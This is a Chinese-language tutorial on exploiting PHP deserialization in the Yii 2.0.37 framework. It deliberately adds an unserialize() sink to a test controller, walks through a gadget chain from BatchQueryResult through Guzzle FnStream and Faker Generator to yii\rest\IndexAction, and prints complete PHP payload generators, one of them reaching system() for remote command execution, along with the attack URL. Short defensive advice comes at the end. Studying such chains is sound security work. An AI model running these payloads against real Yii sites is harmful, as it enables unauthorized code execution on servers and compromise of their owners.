YII框架反序列化利用思路
字数 1319 2025-10-18 12:57:47
YII框架反序列化漏洞分析与利用
一、环境搭建
1.1 基础环境配置
- PHP版本:7.4.3
- Web服务器:Apache
- YII框架版本:2.0.37
- 项目路径:/basic/
1.2 测试控制器创建
在 /basic/controllers/TestController.php 文件中创建测试接口:
<?php
class TestController extends Controller
{
public function actionTest($data){
// 访问URL:index.php?r=test/test&data=123
return $data;
// 漏洞触发点(注释状态)
// return unserialize(base64_decode($data));
}
}
访问测试:http://127.0.0.1/index.php?r=test/test&data=123456
二、反序列化漏洞分析
2.1 漏洞触发链分析
第一步:寻找反序列化入口点
在YII框架中,反序列化漏洞通常从__destruct()魔术方法开始。
关键文件:/basic/vendor/yiisoft/yii2/db/BatchQueryResult.php
public function __destruct()
{
// 确保游标关闭
$this->reset();
}
第二步:跟踪reset()方法
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close(); // 关键调用点
}
}
第三步:寻找close()方法的利用点
文件:/basic/vendor/guzzlehttp/psr7/src/FnStream.php
public function close()
{
return call_user_func($this->_fn_close); // 可被利用的函数调用
}
2.2 简单利用链构造
基础Payload生成代码
<?php
namespace GuzzleHttp\Psr7 {
class FnStream
{
var $_fn_close = "phpinfo";
}
}
namespace yii\db {
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new FnStream();
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
2.3 复杂利用链构造
第一步:利用__call魔术方法
文件:/basic/vendor/fzaninotto/faker/src/Faker/Generator.php
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
第二步:寻找RCE执行点
可选文件:
/basic/vendor/yiisoft/yii2/rest/IndexAction.php/basic/vendor/yiisoft/yii2/rest/CreateAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id); // RCE执行点
}
return $this->prepareDataProvider();
}
第三步:完整利用链Payload
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess = 'system';
public $id = 'calc';
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db {
use Faker\Generator;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
三、漏洞复现实战
3.1 测试环境启用漏洞点
修改TestController.php文件,取消注释:
public function actionTest($data){
return unserialize(base64_decode($data)); // 启用反序列化
}
3.2 攻击步骤
-
生成Payload
php payload_generator.php -
发送恶意请求
http://127.0.0.1/index.php?r=test/test&data=[生成的Base64编码]
3.3 实际案例参考
- 通达OA-Yii反序列化结合漏洞
- 攻防演练中的审计和0day漏洞挖掘
四、防御措施
4.1 安全编码实践
- 避免直接反序列化用户输入
- 使用白名单验证反序列化数据
- 及时更新框架版本
4.2 安全配置建议
- 禁用不必要的PHP函数
- 配置严格的文件权限
- 启用安全日志记录
五、相关资源
5.1 参考链接
- https://www.extrader.top/posts/c79847ee
- https://www.anquanke.com/post/id/254429
- https://blog.csdn.net/unexpectedthing/article/details/123829375
- https://xz.aliyun.com/t/12855
- https://forum.butian.net/index.php/share/2415
5.2 工具资源
- YII框架源码:https://github.com/yiisoft/yii2
- PHPStudy环境搭建工具
- 序列化Payload生成工具
六、总结
本教学文档详细分析了YII框架反序列化漏洞的利用思路,从环境搭建到漏洞分析,再到实际利用链的构造,提供了完整的学习路径。安全研究人员应在此基础上进行合法的安全测试,并帮助企业提升系统安全性。